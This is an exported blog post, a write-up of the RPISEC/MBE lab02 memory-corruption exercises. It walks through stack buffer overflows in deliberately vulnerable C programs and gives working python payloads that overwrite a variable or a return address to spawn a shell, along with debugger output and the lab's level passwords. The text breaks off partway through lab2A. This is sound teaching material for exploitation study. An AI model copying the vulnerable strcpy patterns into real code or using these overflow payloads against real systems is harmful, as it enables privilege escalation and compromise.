{"id":109,"date":"2018-01-26T11:57:50","date_gmt":"2018-01-26T11:57:50","guid":{"rendered":"https:\/\/devel0pment.de\/?p=109"},"modified":"2018-05-20T19:52:18","modified_gmt":"2018-05-20T19:52:18","slug":"rpisec-mbe-writeup-lab02-memory-corruption","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=109","title":{"rendered":"RPISEC\/MBE: writeup lab02 (Memory Corruption)"},"content":{"rendered":"<p>In <a href=\"https:\/\/devel0pment.de\/?p=4\">the last writeup for RPISEC\/MBE lab01<\/a> we used radare2 to reverse three different binaries in order to reveal a secret password or serial. In this writeup we continue with lab02 which broaches the issue of <i>Memory Corruption<\/i>.<\/p>\n<p>As well as in the last lab there are three levels ranging from C to A:<br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=109#lab2C\">lab2C<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=109#lab2B\">lab2B<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=109#lab2A\">lab2A<\/a><\/p>\n<p><!--more--><\/p>\n<hr \/>\n<h1 id=\"lab2C\">lab2C<\/h1>\n<p>We start by connecting to the first level of lab02 using the credentials <span style=\"color: #ff0000;\">lab2C<\/span> with the password <span style=\"color: #ff0000;\">lab02start<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab2C@localhost\r\nlab2C@localhost's password: (lab02start)\r\n        ____________________.___  _____________________________                \r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\               \r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/               \r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____              \r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/              \r\n                \\\/                      \\\/         \\\/         \\\/               \r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_ \r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/ \r\n\r\n        --------------------------------------------------------        \r\n\r\n                       Challenges are in \/levels                        \r\n                   Passwords are in \/home\/lab*\/.pass                    \r\n            You can create files or work directories in \/tmp            \r\n                    \r\n         -----------------&#x5B; contact@rpis.ec ]-----------------          \r\n\r\nLast login: Fri Jan 19 10:51:22 2018 from localhost\r\n<\/pre>\n<p>In contrast to the last lab, where we were only faced with the binary, in this lab we have access the source code. The source code is also located in the levels directory <code>\/levels\/lab02\/<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab2C@warzone:~$ cd \/levels\/lab02\r\nlab2C@warzone:\/levels\/lab02$ ls -al\r\ntotal 44\r\ndrwxr-xr-x  2 root    root  4096 Jun 21  2015 .\r\ndrwxr-xr-x 14 root    root  4096 Sep 28  2015 ..\r\n-r-sr-x---  1 lab2end lab2A 7500 Jun 21  2015 lab2A\r\n-r--------  1 lab2A   lab2A 1153 Jun 21  2015 lab2A.c\r\n-r-sr-x---  1 lab2A   lab2B 7451 Jun 21  2015 lab2B\r\n-r--------  1 lab2B   lab2B  474 Jun 21  2015 lab2B.c\r\n-r-sr-x---  1 lab2B   lab2C 7428 Jun 21  2015 lab2C\r\n-r--------  1 lab2C   lab2C  513 Jun 21  2015 lab2C.c\r\n<\/pre>\n<p>Let&#8217;s have a look:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [26]; title: ; notranslate\" title=\"\">\r\nlab2C@warzone:\/levels\/lab02$ cat lab2C.c\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;string.h&gt;\r\n\r\n\/*\r\n * compiled with:\r\n * gcc -O0 -fno-stack-protector lab2C.c -o lab2C\r\n *\/\r\n\r\nvoid shell()\r\n{\r\n\tprintf(&quot;You did it.\\n&quot;);\r\n\tsystem(&quot;\/bin\/sh&quot;);\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif(argc != 2)\r\n\t{\r\n\t\tprintf(&quot;usage:\\n%s string\\n&quot;, argv&#x5B;0]);\r\n\t\treturn EXIT_FAILURE;\r\n\t}\r\n\r\n\tint set_me = 0;\r\n\tchar buf&#x5B;15];\r\n\tstrcpy(buf, argv&#x5B;1]);\r\n\r\n\tif(set_me == 0xdeadbeef)\r\n\t{\r\n\t\tshell();\r\n\t}\r\n\telse\r\n\t{\r\n\t\tprintf(&quot;Not authenticated.\\nset_me was %d\\n&quot;, set_me);\r\n\t}\r\n\r\n\treturn EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>The first thing we need to do is to spot the vulnerability within the source code. In this case there is a call to the function <code>strcpy<\/code> on line 26. As the man page advises this function is prone to buffer overflows:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab2C@warzone:\/levels\/lab02$ man strcpy\r\nSTRCPY(3)                                                               Linux Programmer's Manual                                                              STRCPY(3)\r\n\r\nNAME\r\n       strcpy, strncpy - copy a string\r\n\r\nSYNOPSIS\r\n       #include &lt;string.h&gt;\r\n\r\n       char *strcpy(char *dest, const char *src);\r\n\r\n       char *strncpy(char *dest, const char *src, size_t n);\r\n\r\nDESCRIPTION\r\n       The  strcpy()  function  copies  the string pointed to by src, including the terminating null byte ('&#92;&#48;'), to the buffer pointed to by dest.  The strings may not\r\n       overlap, and the destination string dest must be large enough to receive the copy.  Beware of buffer overruns!  (See BUGS.)\r\n...\r\n<\/pre>\n<p>As stated in the man page <i>the destination string must be large enough to receive the copy<\/i>. Because the destination string <code>buf<\/code> is only 15 bytes long and the source string is the first parameter to the program (<code>argv[1]<\/code>) we can simply input a larger string leading to a buffer overflow.<\/p>\n<p>On line 28 <code>set_me<\/code> is compared to the value <code>0xdeadbeef<\/code>. If the comparison succeeds the function <code>shell<\/code> is called kindly spawning a shell for us. Thus we need to use the buffer overflow vulnerability to overwrite the variable <code>set_me<\/code> with the value <code>0xdeadbeef<\/code>.<\/p>\n<p>As with all local variables <code>set_me<\/code> and <code>buf<\/code> are placed on the stack. In the c source code <code>set_me<\/code> is declared first. That means that it is pushed on the stack before <code>buf<\/code>. Because the stack grows from bottom to the top <code>set_me<\/code> is located at a higher address than <code>buf<\/code>:<\/p>\n<pre>X +  0:  [    buf   ]  &lt;-- declared second\r\nX + 15:  [  set_me  ]  &lt;-- declared first\r\n<\/pre>\n<p>Let&#8217;s have a quick view on the assembly to verify this assumption:<\/p>\n<pre class=\"brush: python; first-line: 0; highlight: [23,28]; title: ; notranslate\" title=\"\">\r\n...\r\n&#x5B;0x080485b0]&gt; pdf @ sym.main\r\n\u2552 (fcn) sym.main 119\r\n\u2502          ; arg int arg_0_2      @ ebp+0x2\r\n\u2502          ; arg int arg_3        @ ebp+0xc\r\n\u2502          ; DATA XREF from 0x080485c7 (entry0)\r\n\u2502          ;-- main:\r\n\u2502          ;-- sym.main:\r\n\u2502          0x080486cd    55             push ebp\r\n\u2502          0x080486ce    89e5           mov ebp, esp\r\n\u2502          0x080486d0    83e4f0         and esp, 0xfffffff0\r\n\u2502          0x080486d3    83ec30         sub esp, 0x30\r\n\u2502          0x080486d6    837d0802       cmp dword &#x5B;ebp + 8], 2          ; &#x5B;0x2:4]=0x101464c\r\n\u2502      \u250c\u2500&lt; 0x080486da    741c           je 0x80486f8\r\n\u2502      \u2502   0x080486dc    8b450c         mov eax, dword &#x5B;ebp + 0xc]      ; &#x5B;0xc:4]=0\r\n\u2502      \u2502   0x080486df    8b00           mov eax, dword &#x5B;eax]\r\n\u2502      \u2502   0x080486e1    89442404       mov dword &#x5B;esp + 4], eax        ; &#x5B;0x4:4]=0x10101\r\n\u2502      \u2502   0x080486e5    c70424f48704.  mov dword &#x5B;esp], str.usage:_n_s_string_n  ; &#x5B;0x80487f4:4]=0x67617375  ; &quot;usage:.%s string.&quot; @ 0x80487f4\r\n\u2502      \u2502   0x080486ec    e85ffeffff     call sym.imp.printf             ; sub.printf_12_54c+0x4\r\n\u2502      \u2502     ^- sub.printf_12_54c() ; sym.imp.printf\r\n\u2502      \u2502   0x080486f1    b801000000     mov eax, 1\r\n\u2502     \u250c\u2500\u2500&lt; 0x080486f6    eb4a           jmp 0x8048742\r\n\u2502     \u2502\u2514   ; JMP XREF from 0x080486da (sym.main)\r\n\u2502     \u2502\u2514\u2500&gt; 0x080486f8    c744242c0000.  mov dword &#x5B;esp + 0x2c], 0       ; &#x5B;0x2c:4]=0x280009  ; ','\r\n\u2502     \u2502    0x08048700    8b450c         mov eax, dword &#x5B;ebp + 0xc]      ; &#x5B;0xc:4]=0\r\n\u2502     \u2502    0x08048703    83c004         add eax, 4\r\n\u2502     \u2502    0x08048706    8b00           mov eax, dword &#x5B;eax]\r\n\u2502     \u2502    0x08048708    89442404       mov dword &#x5B;esp + 4], eax        ; &#x5B;0x4:4]=0x10101\r\n\u2502     \u2502    0x0804870c    8d44241d       lea eax, &#x5B;esp + 0x1d]           ; 0x1d\r\n\u2502     \u2502    0x08048710    890424         mov dword &#x5B;esp], eax\r\n\u2502     \u2502    0x08048713    e848feffff     call sym.imp.strcpy\r\n...\r\n<\/pre>\n<p>On line 23 the local variable <code>set_me<\/code> stored in <code>esp+0x2c<\/code> is initalized with 0. Before the call to <code>strcpy<\/code> the address of second local variable <code>buf<\/code> stored in <code>esp+0x1d<\/code> is moved on the stack on line 28. Between both location there are exactly the <code>0x2c - 0x1d = 44 - 29 = 15<\/code> bytes of <code>buf<\/code>. As predicted <code>set_me<\/code> is located after <code>buf<\/code> meaning that we can overwrite <code>set_me<\/code> if we overflow <code>buf<\/code>.<\/p>\n<p>Thus the only thing we need to do is call the program with the appropriate argument. This arguments must consist of 15 arbitrary bytes plus the 4 bytes we want to write into <code>set_me<\/code>:<\/p>\n<pre>argument =  <span style=\"color: #0000ff;\">XXXXXXXXXXXXXXX<\/span><span style=\"color: #ff0000;\">YYYY<\/span>\r\n                 buf      set_me\r\n              (15 byte)  (4 byte)<\/pre>\n<p>As we want to set <code>set_me<\/code> to the value <code>0xdeadbeef<\/code> we have to consider that integers are stored in little endian format. In little endian the bytes are stored in reverse order:<\/p>\n<pre>integer =   0x<span style=\"color: #cc00cc;\">de<\/span><span style=\"color: #669900;\">ad<\/span><span style=\"color: #ff6600;\">be<\/span><span style=\"color: #009999;\">ef<\/span>\r\nmemory  :   <span style=\"color: #009999;\">ef<\/span> <span style=\"color: #ff6600;\">be<\/span> <span style=\"color: #669900;\">ad<\/span> <span style=\"color: #cc00cc;\">de<\/span><\/pre>\n<p>On the commandline we can use python to create to appropriate string:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab2C@warzone:\/levels\/lab02$ .\/lab2C $(python -c 'print(&quot;A&quot;*15+&quot;\\xef\\xbe\\xad\\xde&quot;)')\r\nYou did it.\r\n$ whoami\r\nlab2B\r\n$ cat \/home\/lab2B\/.pass\r\n1m_all_ab0ut_d4t_b33f\r\n<\/pre>\n<p>Done \ud83d\ude42 The password for the next level is <code>1m_all_ab0ut_d4t_b33f<\/code>.<\/p>\n<hr \/>\n<h1 id=\"lab2B\">lab2B<\/h1>\n<p>The credentials for the next level are <span style=\"color: #ff0000;\">lab2B<\/span> with the password <span style=\"color: #ff0000;\">1m_all_ab0ut_d4t_b33f<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab2B@localhost\r\nlab2B@localhost's password: (1m_all_ab0ut_d4t_b33f)\r\n        ____________________.___  _____________________________                \r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\               \r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/               \r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____              \r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/              \r\n                \\\/                      \\\/         \\\/         \\\/               \r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_ \r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/ \r\n\r\n        --------------------------------------------------------        \r\n\r\n                       Challenges are in \/levels                        \r\n                   Passwords are in \/home\/lab*\/.pass                    \r\n            You can create files or work directories in \/tmp            \r\n                    \r\n         -----------------&#x5B; contact@rpis.ec ]-----------------          \r\n\r\nLast login: Fri Jan 19 16:04:01 2018 from localhost\r\n<\/pre>\n<p>Again we have access to the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [20]; title: ; notranslate\" title=\"\">\r\nlab2B@warzone:\/levels\/lab02$ cat lab2B.c\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;string.h&gt;\r\n\r\n\/*\r\n * compiled with:\r\n * gcc -O0 -fno-stack-protector lab2B.c -o lab2B\r\n *\/\r\n\r\nchar* exec_string = &quot;\/bin\/sh&quot;;\r\n\r\nvoid shell(char* cmd)\r\n{\r\n\tsystem(cmd);\r\n}\r\n\r\nvoid print_name(char* input)\r\n{\r\n\tchar buf&#x5B;15];\r\n\tstrcpy(buf, input);\r\n\tprintf(&quot;Hello %s\\n&quot;, buf);\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif(argc != 2)\r\n\t{\r\n\t\tprintf(&quot;usage:\\n%s string\\n&quot;, argv&#x5B;0]);\r\n\t\treturn EXIT_FAILURE;\r\n\t}\r\n\r\n\tprint_name(argv&#x5B;1]);\r\n\r\n\treturn EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>Like in the previous level there is a call to the function <code>strcpy<\/code> (line 20). As we have already seen in the last level, we can use this function to raise a buffer overflow, because the argument passed to the program (<code>argv[1]<\/code>) is passed to the function <code>print_name<\/code> which is then passed to <code>strcpy<\/code> as the source string.<\/p>\n<p>There is also a user-defined function called <code>shell<\/code> (lines 12-15), but it differs from the last one. This <code>shell<\/code> function does not directly spawn a shell, but rather take one string argument, which is then passed to the function <code>system<\/code>. If we have a look at the rest of the source code we notice that the function is actually never called. Thus we have to trigger it ourselves.<\/p>\n<p>Above the <code>shell<\/code> function declaration on line 10 we can see that the author of the source code kindly declared a variable which contains the string we would like to pass the to <code>shell<\/code> function: <code>\"\/bin\/sh\"<\/code>.<\/p>\n<p>Summing it up we have to:<br \/>\n&#8211;&gt; push the address of <code>\"\/bin\/sh\"<\/code> on the stack<br \/>\n&#8211;&gt; call the user-defined function <code>shell<\/code><\/p>\n<p>In order to do this, the first thing we need to know is the address of the string <code>\"\/bin\/sh\"<\/code> as well as the address of the function <code>shell<\/code>. We can use r2 to do this:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x080485c0]&gt; iz~bin\r\nvaddr=0x080487d0 paddr=0x000007d0 ordinal=000 sz=8 len=7 section=.rodata type=a string=\/bin\/sh\r\n&#x5B;0x080485c0]&gt; is~shell\r\nvaddr=0x080486bd paddr=0x000006bd ord=070 fwd=NONE sz=19 bind=GLOBAL type=FUNC name=shell\r\n<\/pre>\n<p>The string <code>\"\/bin\/sh\"<\/code> is at <code>0x080487d0<\/code> and the function <code>shell<\/code> is at <code>0x080486bd<\/code>.<\/p>\n<p>Good for now. But how to we call the function <code>shell<\/code>? If we have look at the source code again, we can see that <code>strcpy<\/code> is called within the user-defined function <code>print_name<\/code>. Let&#8217;s have a look at the assembly which calls the function <code>print_name<\/code> is called:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x080485c0]&gt; pdf @ sym.main\r\n...\r\n\u2502     \u2502    0x08048730    890424         mov dword &#x5B;esp], eax\r\n\u2502     \u2502    0x08048733    e898ffffff     call sym.print_name\r\n...\r\n<\/pre>\n<p><code>eax<\/code> contains the address of the string-argument passed to the program (<code>argv[1]<\/code>). This address is moved on the stack and then the <code>call<\/code> instructions is used to execute the <code>print_name<\/code> function. After the function is executed, the processor needs to know where to proceed the execution. Thus the address of the next instruction after the call has to be saved. This is what the <code>call<\/code> instruction does: it pushes the address of the next instruction on the stack and then jumps to the function&#8217;s address. When the function is entered, the stack looks like this:<\/p>\n<pre>esp+0x00:  [ return address ]  &lt;-- return address pushed by <code>call<\/code> esp+0x04: [ argument ] &lt;-- argument passed to function <code>print_name<\/code><\/pre>\n<p>At the end of the function&#8230;<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x080485c0]&gt; pdf @ sym.print_name\r\n...\r\n\u2558          0x080486fc    c3             ret\r\n<\/pre>\n<p>&#8230; there is a <code>ret<\/code> instruction, which simply pops the top element of the stack (the return address formerly pushed by the <code>call<\/code> instruction) and then jumps to that address. This way the execution can proceed at the location right after the call.<\/p>\n<p>As we have already seen in the last lab, we can use the buffer overflow vulnerability caused by the call to <code>strcpy<\/code> in order to overwrite elements on the stack. The buffer we can overflow (<code>buf<\/code>) is a local variable which is stored on the stack. Because this local variable is pushed on the stack after the return address is pushed, it is located <u>before<\/u> the return address in memory (at a lower address). That is why we can overwrite the return address.<\/p>\n<p>Now we just need to know where the return address and the buffer are located on the stack in order to calculate how much bytes we need to write. A quite dull but effective way is to input a pattern long enough to overwrite the return address, let the program crash and then see which part of the pattern caused the crash. This can be done using gdb:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab2B@warzone:\/levels\/lab02$ gdb lab2B\r\nReading symbols from lab2B...(no debugging symbols found)...done.\r\ngdb-peda$ r AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ\r\nStarting program: \/levels\/lab02\/lab2B AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ\r\nHello AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x2f ('\/')\r\nEBX: 0xb7fcd000 --&gt; 0x1a9da8 \r\nECX: 0x0 \r\nEDX: 0xb7fce898 --&gt; 0x0 \r\nESI: 0x0 \r\nEDI: 0x0 \r\nEBP: 0x47474746 ('FGGG')\r\nESP: 0xbffff6c0 (&quot;HIIIIJJJJ&quot;)\r\nEIP: 0x48484847 ('GHHH')\r\nEFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x48484847\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6c0 (&quot;HIIIIJJJJ&quot;)\r\n0004| 0xbffff6c4 (&quot;IJJJJ&quot;)\r\n0008| 0xbffff6c8 --&gt; 0x804004a \r\n0012| 0xbffff6cc --&gt; 0xb7fcd000 --&gt; 0x1a9da8 \r\n0016| 0xbffff6d0 --&gt; 0x8048740 (&lt;__libc_csu_init&gt;:\tpush   ebp)\r\n0020| 0xbffff6d4 --&gt; 0x0 \r\n0024| 0xbffff6d8 --&gt; 0x0 \r\n0028| 0xbffff6dc --&gt; 0xb7e3ca83 (&lt;__libc_start_main+243&gt;:\tmov    DWORD PTR &#x5B;esp],eax)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n<\/pre>\n<p>On line 2 you can see that I provided the pattern <code>AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ<\/code> as argument to the program. On line 4 the program properly outputs the greeting-message right before receiving a <code>SIGSEGV<\/code> signal (Segmentation fault). A segmentation fault is raised when the program tries to access memory which is not accessible. On line 19 we can see that this was caused by the instruction pointer (<code>eip<\/code>) trying to access the address <code>0x48484847<\/code>. As you may have noticed, this is a part of our pattern because <code>0x48484847<\/code> equals <code>GHHH<\/code>. Now we can calculate the offset:<\/p>\n<pre>pattern =  <span style=\"color: #0000ff;\">AAAABBBBCCCCDDDDEEEEFFFFGGG<\/span><span style=\"color: #ff0000;\">GHHH<\/span><span style=\"color: #aaaaaa;\">HIIIIJJJJ<\/span>\r\n                     <span style=\"color: #0000ff;\">27 byte<\/span>          <span style=\"color: #ff0000;\">eip<\/span><\/pre>\n<p>Thus if we input the following string, we overwrite the return address and the code execution proceeds in the function <code>shell<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\npython -c 'print(&quot;A&quot;*27+&quot;\\xbd\\x86\\x04\\x08&quot;)\r\n<\/pre>\n<p><i>Side note: patterns and the offset within the pattern can be easily create \/ calculated using the metasploit script <code>pattern_create<\/code> and <code>pattern_offset<\/code>.<\/i><\/p>\n<p>There is still one thing missing. We need to provide the <code>\"\/bin\/sh\"<\/code> string to the <code>shell<\/code> function. But where to put it? Right after the address of the <code>shell<\/code> function? As the <code>ret<\/code> instruction at the end of the <code>print_name<\/code> function just pops our modified return address from the stack and directly jumps to that address, no ordinary <code>call<\/code> instruction is executed. As we have already seen the stack should look like this at the entry of a function:<\/p>\n<pre>esp+0x00:  [ return address ]  &lt;-- return address pushed by <code>call<\/code> esp+0x04: [ argument ] &lt;-- argument passed to function <code>shell<\/code><\/pre>\n<p>This is not the return address from the <code>print_name<\/code> call but the return address from the <code>shell<\/code> function we are returning to. Because there is no <code>call<\/code> we need to put this return address on the stack ourselves. As we do not really care where the execution proceeds <u>after<\/u> we got a shell, we can just put junk in here. A more elegant way would be to call <code>exit<\/code> in order to gracefully shutdown the program.<\/p>\n<p>Summing this all up the string argument we need to pass the program looks like this:<\/p>\n<pre><span style=\"color: #0000ff;\">AAAABBBBCCCCDDDDEEEEFFFFGGG<\/span><span style=\"color: #ff0000;\">GHHH<\/span><span style=\"color: #aaaaaa;\">HIIIIJJJJ<\/span>\r\n<span style=\"color: #00cc66;\">XXXXXXXXXXXXXXXXXXXXXXXXXXX<\/span><span style=\"color: #ff0000;\">AAAA<\/span><span style=\"color: #00cc66;\">XXXX<\/span><span style=\"color: #ff6600;\">BBBB<\/span>\r\n\r\n<span style=\"color: #ff0000;\">AAAA<\/span> = address of function <code>shell<\/code> <span style=\"color: #ff6600;\">BBBB<\/span> = address of string <code>\"\/bin\/sh\"<\/code><\/pre>\n<p>Now we can pass the final string to the program:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab2B@warzone:\/levels\/lab02$ .\/lab2B $(python -c 'print(&quot;X&quot;*27 + &quot;\\xbd\\x86\\x04\\x08&quot; + &quot;XXXX&quot; + &quot;\\xd0\\x87\\x04\\x08&quot;)')\r\nHello XXXXXXXXXXXXXXXXXXXXXXXXXXX...\r\n$ whoami\r\nlab2A\r\n$ cat \/home\/lab2A\/.pass\r\ni_c4ll_wh4t_i_w4nt_n00b\r\n<\/pre>\n<p>Done \ud83d\ude42 The password for the next level is <code>i_c4ll_wh4t_i_w4nt_n00b<\/code>.<\/p>\n<hr \/>\n<h1 id=\"lab2A\">lab2A<\/h1>\n<p>The credentials for the last level of this lab are <span style=\"color: #ff0000;\">lab2A<\/span> with the password <span style=\"color: #ff0000;\">i_c4ll_wh4t_i_w4nt_n00b<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab2A@localhost\r\nlab2A@localhost's password: (i_c4ll_wh4t_i_w4nt_n00b)\r\n        ____________________.___  _____________________________                \r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\               \r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/               \r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____              \r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/              \r\n                \\\/                      \\\/         \\\/         \\\/               \r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_ \r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/ \r\n\r\n        --------------------------------------------------------        \r\n\r\n                       Challenges are in \/levels                        \r\n                   Passwords are in \/home\/lab*\/.pass                    \r\n            You can create files or work directories in \/tmp            \r\n                    \r\n         -----------------&#x5B; contact@rpis.ec ]-----------------          \r\n\r\nLast login: Fri Jan 19 16:10:00 2018 from localhost\r\n<\/pre>\n<p>We start by analyzing the provided source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab2A@warzone:\/levels\/lab02$ cat lab2A.c\r\n#include &lt;stdio.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;string.h&gt;\r\n\r\n\/*\r\n * compiled with:\r\n * gcc -O0 -fno-stack-protector lab2A.c -o lab2A\r\n *\/\r\n\r\nvoid shell()\r\n{\r\n        printf(&quot;You got it\\n&quot;);\r\n        system(&quot;\/bin\/sh&quot;);\r\n}\r\n\r\nvoid concatenate_first_chars()\r\n{\r\n        struct {\r\n                char word_buf&#x5B;12];\r\n                int i;\r\n                char* cat_pointer;\r\n                char cat_buf&#x5B;10];\r\n        } locals;\r\n        locals.cat_pointer = locals.cat_buf;\r\n\r\n        printf(&quot;Input 10 words:\\n&quot;);\r\n        for(locals.i=0; locals.i!=10; locals.i++)\r\n        {\r\n                \/\/ Read from stdin\r\n                if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf&#x5B;0] == '\\n')\r\n                {\r\n                        printf(&quot;Failed to read word\\n&quot;);\r\n                        return;\r\n                }\r\n                \/\/ Copy first char from word to next location in concatenated buffer\r\n                *locals.cat_pointer = *locals.word_buf;\r\n                locals.cat_pointer++;\r\n        }\r\n\r\n        \/\/ Even if something goes wrong, there's a null byte here\r\n        \/\/   preventing buffer overflows\r\n        locals.cat_buf&#x5B;10] = '&#92;&#48;';\r\n        printf(&quot;Here are the first characters from the 10 words concatenated:\\n\\\r\n%s\\n&quot;, locals.cat_buf);\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n        if(argc != 1)\r\n        {\r\n                printf(&quot;usage:\\n%s\\n&quot;, argv&#x5B;0]);\r\n                return EXIT_FAILURE;\r\n        }\r\n\r\n        concatenate_first_chars();\r\n\r\n        printf(&quot;Not authenticated\\n&quot;);\r\n        return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;&gt; the main-function simply calls the function <code>concatenate_first_chars<\/code> (line 55)<br \/>\n&#8211;&gt; in <code>concatenate_first_chars<\/code> a struct named <code>locals<\/code> is defined (line 18-23)<br \/>\n&#8211;&gt; a prompt to input 10 words is displayed (line 26)<br \/>\n&#8211;&gt; a for-loop initalizes <code>locals.i<\/code> with 0 and keeps looping as long as <code>locals.i<\/code> does not equal 10 (line 27)<br \/>\n&#8211;&gt; <code>locals.i<\/code> is incremented by one every loop-step (line 27)<br \/>\n&#8211;&gt; within the loop-body <code>fgets<\/code> reads a maximum of 0x10 = 16 bytes into <code>locals.word_buf<\/code> from stdin (line 30)<br \/>\n&#8211;&gt; the first read character from <code>locals.word_buf<\/code> is copied to <code>locals.cat_buf<\/code> by using the pointer <code>locals.cat_pointer<\/code> (line 36)<br \/>\n&#8211;&gt; <code>locals.cat_pointer<\/code> is incremented by 1 in order to point to the next character within <code>locals.cat_buf<\/code> on the next loop-iteration (line 37)<br \/>\n&#8211;&gt; after the loop the 11th entry of <code>locals.cat_buf<\/code> is set to 0 (which is actually a overflow because <code>locals.cat_buf<\/code> is only 10 bytes long) (line 42)<br \/>\n&#8211;&gt; the concatenated string <code>locals.cat_buf<\/code> is printed (line 43-44)<\/p>\n<p>Like in the first level there is a function named <code>shell<\/code>, which does not take any arguments and spawns a shell (lines 10-14). Thus our goal is to call this function. As we have already seen in the second level of this lab, this can be achieved by overwriting the return address within a function call if there is a vulnerability we can exploit.<\/p>\n<p>As you may have noticed, on line 30 <code>fgets<\/code> reads 16 bytes into <code>locals.word_buf<\/code>. If we have a look at the struct declaration on line 19 we can see that <code>locals.word_buf<\/code> is only 12 bytes long. Thus we can overflow <code>locals.word_buf<\/code> by 4 bytes. These 4 bytes would be written into the variable following <code>locals.word_buf<\/code>, which is <code>locals.i<\/code>: the loop-index! This way we can control how much iterations the loop does.<\/p>\n<p>Within the loop-body <code>locals.cat_pointer<\/code> is incremented on each iteration without any further checking. If the loop iterates more than 10 times, the memory following <code>locals.cut_buf<\/code> is overwritten. As we have seen in the second level of this lab, this memory contains the return address, which has been pushed by the last <code>call<\/code> instruction (in this case <code>call concatenate_first_chars<\/code>).<\/p>\n<p>Summing it up we have 